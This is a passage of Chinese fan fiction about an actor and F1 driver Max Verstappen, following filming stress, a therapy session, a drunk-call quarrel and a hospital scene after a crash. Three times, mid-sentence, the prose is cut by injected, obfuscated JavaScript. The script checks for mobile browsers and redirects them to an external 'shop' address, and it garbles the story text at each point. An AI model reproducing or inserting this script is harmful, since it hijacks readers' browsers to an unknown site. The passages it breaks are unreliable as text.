“现在？你那边……我没记错的话也不早了？” “快九点了。”林利揉了揉眼睛，“明天应该也是五点起床。” “那你快去睡吧。” “嗯。”林利应声，又补了一句，“Maxie，下一场你会赢的，我知道结果。” “好吧，预言家。”麦克斯轻声闷笑，“我相信你，快睡吧。晚安。” …… 4月18日，伊莫拉大奖赛。 林利出发前记得带上了手机。 “嗡嗡。”他偷偷看了眼屏幕。 【Emily：今天感觉不错。[大拇指]】 【L：好运气分给你。[四叶草]】 这一天的戏份仍然很紧张，片场像另一种战场，每个人都行色匆匆，气氛紧绷。拍摄时间和比赛直播冲突，林利完全无法抽身，只能尽量关注实时排名。 “Cut!” 导演的指令刚落下，林利就急忙走到监视器后确认拍摄质量。在与导演交谈的间隙，他的余光瞥见屏幕一角的时间：16:01。 林利咽了咽口水，比赛这会好像已经结束了，结果怎么样？ 他趁刚结束的空档摸出手机，飞快扫了一眼手机推送：【VER P1】。 太好了！他就知道！ “没问题的话，我们就接着继续吧，林。” “林？”导演在喊。 林利这才从亢奋中回过神，后知后觉地应了一声。他飞快收起手机。 …… 深夜，林利拖着快散架的身体一步一步挪回酒店，然而当他点开麦克斯新发来的消息和照片，立刻清醒了。 【Emily：P1，领先22秒。[图片：领奖台上举起奖杯]】 照片里麦克斯虽然戴着口罩，高高举起的拳头和大幅度的肢体动作隔着屏幕都能看出来他的兴奋。 林利忍不住嘴角上扬，拨通了视频。 屏幕闪烁了一下，麦克斯的脸红扑扑地跳了出来，神情依旧亢奋。 “Babe，你看到了吗！”他大声喊道。 “看到了。”林利向后靠在床头，笑着感叹，“22秒，太夸张了。” “起步就超过去了！”麦克斯在那头比划，兴奋得停不下来，“第一个弯，走外线直接过掉。然后我就一路领先，他们完全追不上！” 背景很吵，看不出他在哪里。 “前面一直在下大雨，赛道很滑。不过我喜欢雨战，这台车真的不错。”他眼角皱起来，笑得很张扬，“这个赛季我们真的可以——” “麦克斯！合影！”有人在远处叫他。 麦克斯转头应了一声，又回过来看向林利：“抱歉。” 他摸了摸后脑勺：“他们催我去拍照，我一会再打给你。” “去吧。”林利眼带笑意，点了点头，“恭喜你，麦克斯。这真的很棒。” 麦克斯眼神放光：“等我啊，记得接电话。”他快速地做了个飞吻。 屏幕黑了下去。林利依然靠着，嘴角的笑容还没褪干净。 他由衷地为麦克斯高兴。他们都在各自的战场上全神贯注，迈过一程又一程。 他发现自己已经在期待下一次见面了。 26.余震 四月下旬，白金汉郡。 林利站在一片人造沙漠中央，冷得直打哆嗦。 剧组为了还原北非的场景，运来几十吨沙子铺满场地。但英国的四月依然阴冷，寒风钻进单薄的飞行服，冻得林利鼻尖通红。 “Action!” 克莱文所带领的小队在执行雷根斯堡任务时迫降到北非。他跟着队员从飞机残骸旁走过，在沙漠中筋疲力尽地等待救援。 他紧紧抿住干裂的嘴唇。眯起眼，灰蒙蒙的天空下仿佛真的被烈日所刺痛。 导演喊停，林利赶紧哈了口气暖暖手。 饰演导航员的鲍伊缩着脖子凑过来：“老天，这也太冷了。” “非洲，我们可是在非洲。”林利裹紧薄薄的外套，嘴里念念有词地进行自我催眠。 两人对视一眼，从对方眼里看出了同样的狼狈，忍不住笑出来。 工作人员递给他们热茶：“辛苦了。等会我们换个角度，拍完就可以收工了。” 林利捧着茶杯，视线落在监视器上。 “这条很好。”斯皮尔伯格走过来，环视了一圈演员们，“大家休息休息，争取一遍过。” 这名大导演拍了拍林利肩膀，不加掩饰地鼓励：“眼神不错，我没挑错人。” 换好角度，又拍了两条。 结束的时候，天色已经暗了下来，剧组开始收拾设备。 林利看完回放，回想起刚刚。肩膀上好像还残留着那只手的温度，心里暖烘烘的。 晚上回到酒店，林利把自己扔进浴缸。热水没过胸口，他才感觉活了过来。 手机在洗手台上震了一下，林利湿着手捞过来看。 屏幕亮起，是麦克斯发来的消息。 【Emily：P2。起步很完美，可惜最后还是被追上了。】 林利蹭了蹭还在滴水的指尖。下午在片场赶着间隙看的那几个画面又在脑子里转了一圈：麦克斯从P3起步，一号弯就抢到了第一。 【L：看到了，你的超车太酷了。如果那个最快圈不被删就更好了。】 【Emily：别提了，赛道限制。有些规则就是专门用来恶心人的。[鼻子喷气]】 【Emily：不过算了，下周西班牙再来。】 【Emily：你回酒店了吗？早上还说冷得受不了，回来有没有喝维C？】 林利下意识摸了摸有些发痒的喉咙。 【L：回来没多久，差点没冻死，正泡热水澡呢。[图片：浴缸]】 【L：但拍摄效果不错。[得意]】 【Emily：那就好，照顾好自己。】 【Emily：MISS U [蓝色爱心]】 …… 一晃神就跨进五月，通告单上的行程变得更加密集。外景戏份暂时结束，剧组又扎进棚内，专攻模拟舱拍摄。 为了追求真实感，片场除了搭建全封闭的模拟座舱，还斥巨资打造了环绕式的巨型LED屏幕。 “Cut!” 一天收工，林利眼神有些发直地盯着面前已经黑下去的屏幕。刚才那里还闪烁着密集的火光和翻滚的地平线。 现在屏幕关掉，但他的视网膜上好像依然残留着大片大片的光斑。 “嘿，林？” 林利眨了眨眼，解开安全带趔趄着站起身，腿麻得险些不听使唤，他扒着舱门缓了几秒， “没事吧？”工作人员赶紧扶住他。 “没事。”林利摆摆手，活动了一下腿，“坐太久了。” 起初只是收工后的手脚酸软。林利没当回事，谁被天天关在金属盒子里都会这样。 没过两天，脖子开始僵硬，转头都有些费力。他用麦克斯教的手法用力按揉肩颈，指望能揉散这种不适。 再几天，眼睛开始抗议。高频闪烁的LED屏让他的眼睛变得干涩无比，滴眼药水的频率从一天两次变成了有空就滴。有时候闭上眼，眼皮和眼球像粘在了一起，睁眼都得使劲。 最要命的是声音。 轰隆隆的爆炸声在脑子里回响不停。哪怕回到酒店，林利依然能听到细微的嗡嗡声。 林利躺在床上，手里拿着剧本。半个小时过去了，他一页也没翻。黑色字体在他眼里忽大忽小，边缘带着重影。 手机震动。 【Emily：明天练习赛，这里的赛道条件不错。[自信]】 林利强打起精神回了个表情包。 【L：好运。[火花]】 他关掉灯准备入睡。黑暗却让他的听觉更加灵敏，耳鸣声也变得清晰。 他翻了个身，把头埋进被子里，强迫自己数羊。 …… 5月9日，西班牙大奖赛。 林利早早被闹钟吵醒。 他睁开眼睛，盯着天花板好一会才想起来今天还是麦克斯的比赛。 林利用冷水洗了把脸，感觉稍微清醒了一点。 去片场的路上，他没忘了关心麦克斯。麦克斯昨天拿下杆位，今天赢的机会很大。 【L：刚才看了运势，会有好的一天哦。[歪嘴]】 【Emily：比起运势，我更相信你。】 林利摇摇头收起手机，抬头望向模拟舱，里面还有一整天的爆炸戏在等着他。 战机俯冲、火光、剧烈晃动。 整个模拟舱跟着震动，林利死死抓住操纵杆，努力让自己看起来像在控制飞机而不是被飞机控制。 “还要更激烈一点！林利，你的呼吸太乱了！”导演透过对讲机喊。 林利紧了紧面罩，在心里苦笑。 强光再次闪烁，眼前的画面明明在动，脑子却跟不上节奏，天旋地转。太阳穴一阵阵抽痛，恶心从胸口往上涌。 他咬着牙坚持演完了这一条。 林利从模拟舱爬出来，脚下的地板像波浪一样起伏，片场嘈杂的人声忽远忽近。 他强忍着不适回到酒店，一屁股瘫坐在沙发上。闭上眼，等待眩晕慢慢消退。 不知过了多久，手机视频通话的震动声将他惊醒。 林利眼前黑了几秒才重新对焦。他抓起手机扫了一眼时间：17:30，比赛结束有一会了。 他用力搓了搓脸颊，让脸色看起来红润一些。 麦克斯的身影出现在屏幕里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210493|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他陷在休息室的沙发上，神色有些发蔫。 “嘿。”林利往后靠了靠，找了个舒服的姿势，“我还没来得及看结果，比赛怎么样？” 麦克斯叹了口气，抓了把头发：“P2。” “发生什么了？我记得起步不是很好吗？”林利的声音有些发飘。 该死的耳鸣声又来了，他只得努力集中注意力，盯着屏幕里麦克斯张张合合的嘴唇。 “起步不错。”麦克斯眼皮半耷，“一号弯我就超了刘易斯，领先了大半场。” 他忽然顿住，眼神黯淡下来：“但我能感觉到不对劲。软胎后半段他就已经更快了，我们换上中性胎，本来以为能守住。” 麦克斯有些无力地把手盖在脸上，挡住视线：“两停，他们赌了两停，而且速度快了太多。” “我的轮胎已经撑不住了。第60圈，他在一号弯动手了。”他的声音低了下去，“完全没办法防守。我就像一只sitting duck，只能眼睁睁看着他过去。” 林利看着麦克斯如出一辙的疲态，心中泛起嘀咕。 怎么这种无力感也要诡异地同时发生在两个人身上？ 他们俩这是怎么了？ “Babe?” 林利一怔，发现麦克斯正皱着眉贴近镜头。 “你在听吗？”那双蓝眼睛里满是疑惑。 “在听。”林利掐了掐大腿，借着疼劲拽回注意力，“这……这太让人沮丧了。轮胎不行了，策略也被压制，对吧？” 麦克斯轻微摇了摇头：“我是说了他们策略更好。这次输了，但车的节奏是有的。” 林利想说点什么安慰他，但脑子转不动，只能含糊地说：“摩纳哥呢？再过两周就是了？” “嗯。”麦克斯表情稍微放松了一点，“那里超车很难，排位赛很关键。” 他说着说着，忽然停下来盯着屏幕：“你看起来状态不太好。” “是吗？”林利揉了揉眼睛，“今天整个人都感觉怪怪的。” “我认为你需要给自己一些放松时间。”麦克斯的嘴角抿成一条直线。 他表情恢复严肃：“现在，挂了电话就去睡觉吧。” “好吧，我会的。”林利打了个哈欠，声音软绵绵的，“下次你会赢回来的，Maxie。这只是漫长赛季中的一站……” “别管比赛了。”麦克斯打断他，“去睡觉。” 屏幕黑了下去，林利对着手机发了会呆。 麦克斯刚才说了什么？比赛的事，轮胎……策略……还有最后那句，语气好像有点重。他已经记不太清具体的，脑子里只剩下几个模糊的重影。 他按了按鼻梁，撑着沙发站起来，从药箱里翻找出了一板眩晕药。 说明书写着：缓解眩晕、耳鸣和伴随的恶心头痛。 好像能吃这个？不管了。 他直接干咽着吞下去一片，苦涩的味道顺着舌根一路蔓延。 药效来得好快。 啊，怎么更晕了，脑子里塞满了棉花。 他连鞋都没脱就倒向床，整个人被吸了进去。 沉沉睡倒。 27.盲区 林利坐在更衣室的长凳上，低着头慢慢解开飞行服的扣子。每解开一颗，左侧肋骨都传来一阵刺痛，逼得他不得不停下来缓缓，龇牙咧嘴地调整呼吸。 拍摄时模拟舱晃得太狠了。突然一个剧烈摆动，他整个人被甩到舱壁上，当场就疼得说不出话，但还是咬着牙坚持拍完了。 结果现在脱个衣服都这么费劲。 “林？”助理艾米敲了敲门，“收工了，车准备好了……” 她推门进来，看到林利的样子一愣：“你还没换好衣服吗？” 林利吃力地侧了侧身子：“刚才撞了一下，使不上力。” “哪里？”艾米顿时变了脸色，快步走过来。 林利指了指左侧：“这里，感觉疼得不太对劲。” 艾米一把抓起他的背包：“别换了，我们现在就去医院。” 医生把X光片举到灯箱前。 “这里，”他指着一条细微的白线，“肋骨有裂纹。不严重，但需要休息至少两周。” “我不能休息。”林利皱眉盯着那条裂纹，“工作没办法停。” 医生从镜片后抬起眼睛：“如果你继续这样高强度折腾，裂纹可能会扩大，到时候就不是休息一阵子能解决的了。” “我会小心的。”林利安抚地按住旁边欲言又止的艾米，对医生点点头。 医生叹了口气，转身坐下写处方：“止痛药一天两次，护具要一直戴着。如果疼痛加剧，及时联系我。” “我是认真的。”医生递过单子，“如果不仔细注意，影响会更严重。” …… “肩膀上提，对，再往后打开一点。” 片场角落，艾米正举着手册，指导林利做一套疼痛缓解动作。 卡勒姆晃晃悠悠走过来，瞧见这一幕调侃：“哟，你这动作跟我奶奶似的。” 林利回了他一个大苦笑，指了指身上：“你知道的。” 卡勒姆耸耸肩：“所以我来给你安排点别的乐子，今晚一群人在内特房间聚，你来不来？” “我有点累……” “拜托，别一个人闷着。”卡勒姆说，“大家都快疯了，一起玩玩总不会真出问题。再说你看起来尤其需要放松一下。” “九点，别迟到。”他拍了拍林利的肩膀，回头时补了一句。 “咚咚。” 林利卡着点敲响内特的房门。 摇滚乐声轰隆隆传来，屋里已经挤了七八个人。鲍伊正和另外两个人聚在一堆在玩扑克，有人躺在床上刷手机，有人靠着墙灌啤酒。 “你来了！”内特看到林利，扔过来一瓶啤酒。 林利又扔了回去：“我吃了药，有别的喝的吗？” 他在沙发上找了个位置坐下，看着桌上的牌局。 “三张K。”鲍伊把牌甩在桌面，一脸得意，“你们输了。” “滚开。”对面的人笑着骂，“你肯定作弊了。” “我哪有。”鲍伊假装无辜，“是你们太菜了。” 房间里爆发出一阵哄笑。 内特递给林利一罐汽水，自己坐在地毯上：“今天感觉怎么样？” “就那样，还活着呢。”林利摊开双手，“你呢？” “累死。”内特翻了个白眼，指着自己发红的脸颊“面罩磨得我脸上都过敏了。” “我嗓子都哑了。”鲍伊一边收牌一边插话，“爬进爬出一躺太费劲，搞得我都不敢喝水。” “说实话，我们是真不容易。” “是啊，重点是还赚不到多少钱。”冷不丁的声音响起，再次惹起一阵哄笑。 卡勒姆从卫生间出来，甩了甩手上的水珠，大声嚷嚷：“谁把音乐开这么大？” “我。”内特斜了他一眼，“怎么了，你有意见？” “就是想跳舞了。”卡勒姆突然跟着节奏摆动起来，动作夸张又搞笑，“谁来当我的舞伴？” 他一把拉起还没反应过来的鲍伊：“来吧！别光坐着！” “我不跳，松手！”对方死死挣扎，“我要打牌！” “牌等会再打！” 几个人也被拽起来，在狭小的房间内群魔乱舞。 林利看着眼前的混乱场面，嘴角不自觉上扬。 内特坐回他旁边：“感觉好点了吗？” “嗯。”林利点点头，“好多了。” “就是得这样。”内特看着疯玩的这群人，压低声音，“不然真的会受不了，天天都是那些爆炸、坠机，晚上还睡不好。” “你也做噩梦？”林利敏锐地察觉。 “当然。”内特叹了口气，“前几天梦到自己在着火的飞机里，直接吓醒了。” “天啊！”另一个人抬起头，“我也是，而且醒来还能听到那个警报声。” “正常。”卡勒姆停下来喝了口啤酒，“心理疏导师说这很正常。” 他看向林利：“你去见她了吗？” “还没，”林利微微侧过头，“好像安排的后天。” 内特耸耸肩：“去看看吧，她挺好的，会教你一些方法。” 鲍伊凑过来，一屁股坐在地毯上：“你们在聊什么？” “噩梦。”卡勒姆回答。 “可别提了。”鲍伊做了个鬼脸，“我昨天梦到林吐我一脸。” “嘿！”林利瞪了他一眼。 “不过，”鲍伊收起玩笑，思索片刻，“我们演的角色，他们是真的经历了这一切。零下的温度、真枪实弹、失去生命，都是实实在在发生过的。” “所以，如果我们觉得不舒服就对了。”卡勒姆放下酒瓶，“当年的人比我们痛苦百倍。” “我们想要演得更好，就得——”他指了一圈在座的人，没再说下去。 沉默。 内特率先站起来：“行了行了，别搞得这么沉重。来，换首歌我们继续！” …… “请进！” 心理疏导师示意林利坐下：“我是威尔森医生，叫我萨拉就好。放轻松，我们今天只是随意聊聊，不要有太大压力。” 林利选了靠窗的位置。 “我对你们的压力略有耳闻。”萨拉递过来一杯花茶，“跟我说说，最近你过得怎么样吧。” “我……”林利握着杯子，还没想好怎么说。最近一个月乱七八糟的，有时都分不清自己到底在哪。 他决定先从剧组聊起：“你知道的，上次大家和导演谈了后，空战戏就被拆散拍摄了。效果还不错，但是还有点别的症状，比如……” “比如做噩梦？” 林利猛地抬头。 “我也是做了功课的。”萨拉温和地笑了笑，“很多人都有类似的反馈，你都梦到了什么？” 林利身体不由自主地前倾，眉头皱起：“飞机着火坠落了。我想逃跑，但是动不了，只能拼命喊救命。” 他低头看向自己紧紧交握的双手。 萨拉点点头，眼神落在林利身上：“这是闯入性记忆，你的大脑将白天的经历标记为了真实威胁。”她放下笔记本，“我们来做个练习吧。” “闭上眼睛，深呼吸——” “现在告诉我，你在哪里？” “咨询室。”林利闭上眼。 “坐在什么上面？” “一张软椅子。” “摸摸扶手。”萨拉语速变得缓慢，“它感觉是什么样？” 林利指尖划过，一道道细密的绒纹温柔地蹭过皮肤。 “睁开眼，看看周围。告诉我你看到了什么？” “窗户，盆栽，茶杯……” “非常好，我们刚才试的这种方法叫落地练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213963|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习。”萨拉解释道，“当你感觉自己被战争场景压得喘不过气时，用这个可以告诉自己：我在哪里，我能看到什么，我能摸到什么，将自己拉回现实。” “还有一件事，每天睡前可以花5分钟来脱下角色，对着镜子重复一遍你是谁。” “大脑需要清晰的信号来完成切换。”她微微颔首，“愿意试试吗？” 林利复盘了一遍刚才的步骤，点点头：“希望能有所帮助。” …… 6月20日晚。 距离上次咨询已经过去两周，这期间林利断断续续地做着落地练习，确实缓解了一些。 不过隐隐作痛的肋骨还是没好全，可能因为这一点，他总觉得没法彻底放松。 这一晚，他吃了止痛药，很快进入梦境。 这次是邻侧的飞机被击中，舱内的人拼命往外爬。但坠落得太快了，根本来不及打开跳伞。林利只能眼睁睁看着黑影越来越小，消失在云层下面。 “嗡——” 手机在枕边猛地震动。 林利被惊得吓了一跳，满头是汗，心跳如鼓。 手机还在震。 他愣了几秒，才在黑暗中眯着眼看向屏幕：01:51。 麦克斯这时候打来电话？ “嘿，是我！你猜怎么着？”麦克斯呼吸混在话音里，哑得几乎听不清。 林利还没从噩梦中完全清醒，迟钝地回复：“啊？什么？” “我赢了！追回来了！第52圈超的他！为巴塞罗那复仇了！”麦克斯兴奋地叽里呱啦不停。 林利闭上眼睛，用力揉着胀痛的太阳穴。 “嗯……” “你知道吗，两停！我们赌了两停！克里斯蒂安说这是——” “麦克斯。”林利打断他，“你喝醉了吗？你在哪？” “我还在派对呢，但是没喝多少，真的！” “我刚还跟切科学了一句西语，?Chinga tu madre! 怎么样，发音不错吧？我可没醉。” 天啊，天啊，他都在说些什么，这好像是句脏话吧？ 林利被麦克斯此刻胡言乱语的样子惹得心中无奈。 “那你告诉我现在几点？”林利看了眼表，没等他回复就接道，“凌晨一点五十三分，我明早六点就要起床。” “哦。”麦克斯的声音低了下去，“我忘记了，我太高兴了。” 他试探着开口：“你听起来心情不太……” “我很高兴你赢了。”林利实在提不起精神，“恭喜你。” “可是你听起来不是这样的。”麦克斯说，醉酒让他说话拖了点尾音，“阿塞拜疆的时候我都退赛了，你也只发了短信。这次我赢了这么重要的比赛……” 他顿了顿，声音很是委屈：“你最近都不关心我了。” “我知道你忙，我也在比赛，但我还是会主动问你怎么样，会在乎你。可你连视频都不给我打。” 林利深吸一口气，下意识摸向肋骨处的护具，底下藏着两只小鸟，此刻却也像受了伤一样。 “麦克斯。” “麦克斯！你喝醉了，我们不该在现在这种状态下讨论这些。” “我很清醒！”麦克斯固执地反驳，“我只是想和你分享我的心情，你应该要知道我的心情。” “你一点也不清醒。”林利无力地重复，声音里压不住的疲惫和不适，“我们现在不说这个了好吗？求你了。” 沉默。 “好吧。”麦克斯的声音变了，“那你去睡吧。” “等你清醒了，我们再谈。” “WHATEVER” 电话“嘟”的一声挂断。 林利垂下手臂，盯着黑掉的屏幕。 唉。 他把手机扔在床头。 28.银石事故 斯科特出现在酒店的时候，林利正坐在露台啃三明治。 经纪人在他对面坐下，把公文包放在桌上，打量了他一眼：“你瘦了。” 林利举了举手里那个干巴巴的面包：“正在吃了。” 斯科特皱眉，没再多说什么，从包里拿出几个厚夹子，一本本摆在桌上。封面都是黑色或深灰色的，看不出具体内容，只有项目代号和角色名。 “都是精心挑选的可以试镜的机会。”斯科特的手指敲了敲最上面那本，“诺兰的新片《奥本海默》，4号角色，但毕竟是诺兰的大制作，而且角色有亮点。” 他接着推过另外两本：“网球题材的爱情片，双主角。” “还有《饥饿游戏》前传，狮门影业的大IP，男一号。” 林利放下吃到一半的三明治，拿起最上面那本翻开。角色台词不多，但场景看起来很重要，参议院、中立者。 “这本有非常严格的保密协议。”斯科特补充道，“如果你决定是这个，试镜就在下个月。我会和《空战群英》这边打声招呼，调出你的档期。” 林利点头，又翻了翻另外两本。两男争一女的爱情片？角色高光在女主角吧。 第三本《饥饿游戏》前传，他草草扫过一眼角色描述，也没什么兴趣。 “最近怎么样？”斯科特语气随意地问，“肋骨的伤还好吗？” “好多了。” “有继续见咨询师吗？噩梦呢？” “少了一些。” 其实昨晚还梦到了。 斯科特深深地看了他一眼，叹口气：“别硬撑。” 他站起来拍了拍林利的肩膀，“记得尽快告诉我你的决定，机会不等人。” 等斯科特走了，林利重新拿起第一本剧本，手机在口袋里震了一下。 他掏出来。 施蒂利亚大奖赛结束了，推送新闻蹦出： 【维斯塔潘统治施蒂利亚大奖赛，背靠背连胜。】 林利盯着标题看了一会，打开短信。犹犹豫豫地在屏幕上敲了几个字： 【L：祝贺P1。】 发送。 他试图把注意力拉回剧本，权衡着各个项目的利弊。 几分钟后，屏幕亮起。 【Emily：谢了。】 就这么一个词。 林利心里有些不是滋味。他想说点别的，或许问问“对不起那天晚上”，但最后还是什么都没发。 他不想这么快低头。难道那天半夜酒后的胡言乱语，麦克斯就一点错没有吗？ 他咬了一口发瘪的三明治，只觉得味同嚼蜡，太阳穴也跟着一跳一跳地胀痛。 …… 奥地利大奖赛，麦克斯再次夺冠。 林利刷着社交平台上的照片。麦克斯站在领奖台上，香槟喷得到处都是。 红牛主场，还是三连胜。 他逃避似地不想发短信。 手机这时候震了一声。 【Emily：你拿走了它们最喜欢的玩具。[图片：Jimmy和Sassy蜷在沙发上睡觉]】 林利茫然地回忆，他哪次把猫的玩具带走了吗？ 他轻轻叹了口气，到底是麦克斯主动发来的信号。 【L：抱歉，我下次拿回去。】 已读。 然后就没有然后了。 林利等了五分钟、二十分钟，还是没有回复。 他一把将手机扔在床上，翻身面对墙壁。眼睛酸酸的不太舒服，他自嘲地想，大概是今天拍戏太久用眼过度了。 …… 7月18日，纽约。 保密试镜地点在一栋不起眼的建筑里。 林利被要求上交手机、手表以及一切电子设备。如此严苛的阵仗让他在心中无端生起一股紧张。 “准备好了就开始。”导演助理示意道。 白炽灯有些刺眼。林利松开衬衫最上面的扣子，动作轻缓地绕着空椅子走了一圈。他对着空气微微侧头，垂下眼睑，嘴角勾起一个似有若无的弧度：“先生，有没有可能……” “他们根本就没提到过你？”他故意拖长尾音，以一种审视的态度抬起眼皮，“有没有可能，他们谈论的是一些更重要的事？” 他挺直脊背，缓慢地整理了一下袖口。 …… “好了。”监视器后的制片人终于抬起头，在笔记本上写了点什么，“今天就到这里，我们会通知你结果。” 林利走出试镜室，工作人员递回他的私人物品。他拿起手机，屏幕亮起的信息让他心中一惊。 几十个来自麦克斯的未接来电和短信，社交平台全都是红色通知。 推送新闻抢先弹了出来： 【突发：维斯塔潘在银石赛道与汉密尔顿发生严重撞车事故，已被紧急送医。】 发生了什么？林利的手止不住抖起来，手机差点掉在地上。 画面中，两辆赛车几乎是以并排的姿态冲入极其高速的考普斯弯。汉密尔顿的左前轮擦过麦克斯的后轮，赛车瞬间失控着横扫过砂石区，狠狠撞进轮胎墙，发出“砰！”的恐怖撞击声，碎片四溅。 林利怔在原地，脑子一片空白。 “你好？”工作人员发现他的异样，“你需要帮忙吗？” “我得走了。”林利听到自己在说。他的身体比大脑更早做出反应，已经冲出大楼，跌撞着拦下一辆开往机场的出租车。 一路上，拨回的电话没有人接通，发出的消息也没有回复。 麦克斯现在还好吗？他怎么样了？ 他焦急地刷着所有能找到的新闻： 【维斯塔潘在事故后意识清醒，但仍被送往医院接受预防性检查。此次撞击强度高达51G，堪称F1近年来最严重的撞车事故之一……】 最严重，51G。 林利狠狠闭上眼睛，用力攥紧座椅扶手。他想起记忆中的考普斯弯，高速、几乎全油门通过。如果角度再偏一点，如果防滚架没撑住…… 他不敢继续想，心脏跳得难受。 林利在登机前联系到了GP。 【L：他还在医院吗？】 【GP：送到考文垂了，刚做完最后一轮检查。】 【L：我能去看他吗？】 【GP：你确定？他现在……算了，你自己看吧，我跟前台说一声。】 飞机降落的时候已近凌晨。 麦克斯两个小时前在社媒发了一条平安消息，配了张自拍。 林利的指尖摩挲过屏幕里那张熟悉的脸，悄悄松了口气。 还好所有检查都没什么问题。 …… 林利急匆匆跑进医院。 GP在病房门口等着，看到林利，点了点头。 “他刚睡着。”GP压低声音，“医生说观察到明天早上，如果没问题就能出院。” “伤得重吗？” “主要是冲击力太大。”GP在身上比划，“脖子、背部都有挫伤，幸好没有大的问题……” 他摇摇头，没继续说下去。 林利抿了抿干涩的嘴唇，有些局促地问：“我能进去吗？” GP看了房门一眼，迟疑地说：“他好像睡着了，之前一直在看手机，心情不怎么样。” “他有联系你吗？”GP补充，“总之……待会注意点。” 病房里很暗，只有监护仪器的绿光在闪烁。麦克斯仰靠在床上，脖子上戴着笨重的颈托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217309|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 听到开门声，他转过头看到林利，神色微变。 “GP说你睡着了。”林利放轻脚步，慢慢向病床走近。 麦克斯沙哑着嗓音开口：“睡不着，可能是撞击的后遗症。” 林利在床边的椅子上坐下，嘴唇动了动，却发不出声音。麦克斯看起来比想象的要糟，脸色很白，眼下覆着青黑色阴影，嘴唇干裂得起了皮。 “医生怎么说？”林利重复了一遍刚才在门口问过的问题。 麦克斯低头盯着自己的手：“没事，运气比较好。” 空气中只有沉默，除了监护仪器的嘀嘀声一下一下。 “你在哪？”麦克斯开口，视线依旧没有看他。 下一秒，他却猛地转回头，大声质问：“刚出事的时候，我给你打了那么多电话。你在哪？” 林利被问得一僵：“我在试镜。保密项目，手机都不能带。” “试镜。”麦克斯胸口起伏，一字一顿地又念了一遍。 “我不知道会出事，”林利慌了神，“如果我知道……” “如果提前知道，你就会来？”麦克斯不等他把话说完，眼睛直直盯向林利，“还是说，你仍然会去试镜？” 不是这样的。林利张了张嘴，对上麦克斯沉沉的目光，话全堵在喉咙里。 “我差点死了。”麦克斯的声音开始发抖，“撞上去的那一刻，我以为完了。” “你知道那是什么感觉吗？什么都看不到，也不知道自己在哪。而且动也不敢动，甚至不确定我是不是还完整。” 他停了停，手指抓紧床单：“你知道我第一个想到的是谁吗？这种时候，我竟然还在害怕以后见不到你……” 他别开脸，死死咬住嘴唇，再也说不下去。 “麦克斯……” “试镜，”麦克斯轻嗤一声，“当然了。” 林利又急又涩：“你这么说不公平，我真的没想到会发生这种意外！” “我也许会死！”麦克斯被气得发昏，不管不顾地挣扎起身，咬着牙狠狠说，“我最需要你的时候，你压根就不在！” “快躺下！”林利惊恐地想去扶他，“你还受着伤！” “你**根本就不在！”麦克斯越说越激动，监护仪器的警报突然响起。 护士快步推门进来：“冷静一点，先躺下来慢慢说。” 她检查完监护仪器，严肃地看向林利：“先生，请您先离开，患者需要静养。” “我马上就走。”林利攥紧拳头。 护士调整完输液，带上门离去。 病房里又安静下来。 “我不是那个意思，我也想去的。”林利心乱如麻，“我看到新闻的时候整个人都懵了，担心得要命，生怕会有不好的结果。” “可你就是不在。”麦克斯只重复着瘫回枕头，盯着天花板，“这才是最重要的结果。” 林利满心都是想辩解的话，他也很痛苦，这不是他能控制的。 但看着麦克斯此刻受伤的神情，他脖子上的颈托，还有他输着液的手。 “我很抱歉。”他最后只能说出这句话。 麦克斯恹恹地闭上眼：“你走吧，我想休息了。” “麦克斯……” “求你了。”麦克斯轻轻摇头，“我真的很累。” 林利往前微倾半步，想要握住麦克斯，告诉他一切都会好的，他们之间会没事的。可最终，双手还是颓然垂在身侧。 “那你好好休息，我们……再联系。” 林利沉默地转过身。手放在门把上的时候，忍不住回头再次望了一眼。 麦克斯孤零零地躺在那里，眼睛闭着，眉头紧皱。 门轻轻关上。 29.恩典与惩戒 “嗡——” “嗨，林利。我是约翰，诺兰团队的选角导演。” 电话那头的声音很客气：“关于《奥本海默》的试镜结果……” 林利心跳加快：“是的，我在听。” “你的表现非常出色，我们内部讨论了很久。但考虑到《空战群英》的拍摄周期存在很大的不确定性，制作方最终决定……”约翰停顿了一下，“我们非常抱歉。” 后面的客套话，林利已经听不进去了。 “我们真的很欣赏你，如果未来有合适的项目，一定会第一时间联系你。” “我理解。”林利指尖却不受控地微微发颤，“谢谢你亲自打来。” “祝你一切顺利，林利。” 林利坐在床边，茫然地看着手机屏幕。 进了第二轮，还是被拒了。 接二连三，手机又震了一声，来自剧组的群发邮件： 【因不可抗力，拍摄即日起暂停，复工时间待定。请全体人员不要离开太远，等待进一步通知。】 林利连半点反应都做不出来了，心里空落落的。 接下来该去哪里？该做什么？ 